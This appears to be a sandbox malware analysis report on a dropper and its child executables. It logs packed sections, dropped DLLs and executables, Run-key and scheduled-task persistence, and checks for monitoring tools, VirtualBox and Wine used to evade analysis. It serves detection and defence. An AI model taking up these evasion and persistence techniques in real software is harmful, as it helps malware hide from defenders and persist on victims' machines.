Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 23.2.skotes.exe.8b0000.0.unpack :EW;.rsrc:W;.idata :W;uznwvgqp:EW;ftpwkcch:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;uznwvgqp:EW;ftpwkcch:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Unpacked PE file: 24.2.f0388bf2aa.exe.980000.0.unpack :EW;.rsrc :W;.idata :W; :EW;mmgyxokd:EW;ujjtsjxw:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;mmgyxokd:EW;ujjtsjxw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Unpacked PE file: 27.2.f0388bf2aa.exe.980000.0.unpack :EW;.rsrc :W;.idata :W; :EW;mmgyxokd:EW;ujjtsjxw:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;mmgyxokd:EW;ujjtsjxw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Unpacked PE file: 28.2.0b7df35e6b.exe.1f0000.0.unpack :EW;.rsrc:W;.idata :W;askqtssa:EW;zdkoeiqw:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Unpacked PE file: 29.2.f0388bf2aa.exe.980000.0.unpack :EW;.rsrc :W;.idata :W; :EW;mmgyxokd:EW;ujjtsjxw:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;mmgyxokd:EW;ujjtsjxw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Unpacked PE file: 30.2.0b7df35e6b.exe.1f0000.0.unpack :EW;.rsrc:W;.idata :W;askqtssa:EW;zdkoeiqw:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Unpacked PE file: 31.2.0b7df35e6b.exe.1f0000.0.unpack :EW;.rsrc:W;.idata :W;askqtssa:EW;zdkoeiqw:EW;.taggant:EW; vs :ER;.rsrc:W;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6BC410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C6BC410

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: DocumentsKKFHJJDHJE.exe.0.dr	Static PE information: real checksum: 0x324d0d should be: 0x31fb2a
Source: random[1].exe.23.dr	Static PE information: real checksum: 0x1c04c6 should be: 0x1c3ddb
Source: f0388bf2aa.exe.23.dr	Static PE information: real checksum: 0x1c04c6 should be: 0x1c3ddb
Source: file.exe	Static PE information: real checksum: 0x1c04c6 should be: 0x1c3ddb
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x324d0d should be: 0x31fb2a
Source: skotes.exe.20.dr	Static PE information: real checksum: 0x324d0d should be: 0x31fb2a
Source: random[1].exe0.23.dr	Static PE information: real checksum: 0x2b1a0f should be: 0x2bde83
Source: 0b7df35e6b.exe.23.dr	Static PE information: real checksum: 0x2b1a0f should be: 0x2bde83

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: mmgyxokd
Source: file.exe	Static PE information: section name: ujjtsjxw
Source: file.exe	Static PE information: section name: .taggant
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name: uznwvgqp
Source: random[1].exe.0.dr	Static PE information: section name: ftpwkcch
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: DocumentsKKFHJJDHJE.exe.0.dr	Static PE information: section name:
Source: DocumentsKKFHJJDHJE.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsKKFHJJDHJE.exe.0.dr	Static PE information: section name: uznwvgqp
Source: DocumentsKKFHJJDHJE.exe.0.dr	Static PE information: section name: ftpwkcch
Source: DocumentsKKFHJJDHJE.exe.0.dr	Static PE information: section name: .taggant
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: skotes.exe.20.dr	Static PE information: section name:
Source: skotes.exe.20.dr	Static PE information: section name: .idata
Source: skotes.exe.20.dr	Static PE information: section name: uznwvgqp
Source: skotes.exe.20.dr	Static PE information: section name: ftpwkcch
Source: skotes.exe.20.dr	Static PE information: section name: .taggant
Source: random[1].exe.23.dr	Static PE information: section name:
Source: random[1].exe.23.dr	Static PE information: section name: .rsrc
Source: random[1].exe.23.dr	Static PE information: section name: .idata
Source: random[1].exe.23.dr	Static PE information: section name:
Source: random[1].exe.23.dr	Static PE information: section name: mmgyxokd
Source: random[1].exe.23.dr	Static PE information: section name: ujjtsjxw
Source: random[1].exe.23.dr	Static PE information: section name: .taggant
Source: f0388bf2aa.exe.23.dr	Static PE information: section name:
Source: f0388bf2aa.exe.23.dr	Static PE information: section name: .rsrc
Source: f0388bf2aa.exe.23.dr	Static PE information: section name: .idata
Source: f0388bf2aa.exe.23.dr	Static PE information: section name:
Source: f0388bf2aa.exe.23.dr	Static PE information: section name: mmgyxokd
Source: f0388bf2aa.exe.23.dr	Static PE information: section name: ujjtsjxw
Source: f0388bf2aa.exe.23.dr	Static PE information: section name: .taggant
Source: random[1].exe0.23.dr	Static PE information: section name:
Source: random[1].exe0.23.dr	Static PE information: section name: .idata
Source: random[1].exe0.23.dr	Static PE information: section name: askqtssa
Source: random[1].exe0.23.dr	Static PE information: section name: zdkoeiqw
Source: random[1].exe0.23.dr	Static PE information: section name: .taggant
Source: 0b7df35e6b.exe.23.dr	Static PE information: section name:
Source: 0b7df35e6b.exe.23.dr	Static PE information: section name: .idata
Source: 0b7df35e6b.exe.23.dr	Static PE information: section name: askqtssa
Source: 0b7df35e6b.exe.23.dr	Static PE information: section name: zdkoeiqw
Source: 0b7df35e6b.exe.23.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B536 push ecx; ret	0_2_6C68B549
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Code function: 20_2_005FD91C push ecx; ret	20_2_005FD92F
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Code function: 20_2_005F1359 push es; ret	20_2_005F135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_008CD91C push ecx; ret	21_2_008CD92F

Source: file.exe	Static PE information: section name: mmgyxokd entropy: 7.954300536136823
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.1618788018994115
Source: DocumentsKKFHJJDHJE.exe.0.dr	Static PE information: section name: entropy: 7.1618788018994115
Source: skotes.exe.20.dr	Static PE information: section name: entropy: 7.1618788018994115
Source: random[1].exe.23.dr	Static PE information: section name: mmgyxokd entropy: 7.954300536136823
Source: f0388bf2aa.exe.23.dr	Static PE information: section name: mmgyxokd entropy: 7.954300536136823
Source: random[1].exe0.23.dr	Static PE information: section name: entropy: 7.750794325350024
Source: 0b7df35e6b.exe.23.dr	Static PE information: section name: entropy: 7.750794325350024

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsKKFHJJDHJE.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	Jump to dropped file
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsKKFHJJDHJE.exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsKKFHJJDHJE.exe

Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f0388bf2aa.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0b7df35e6b.exe

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsKKFHJJDHJE.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsKKFHJJDHJE.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f0388bf2aa.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f0388bf2aa.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0b7df35e6b.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0b7df35e6b.exe

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6B55F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C6B55F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
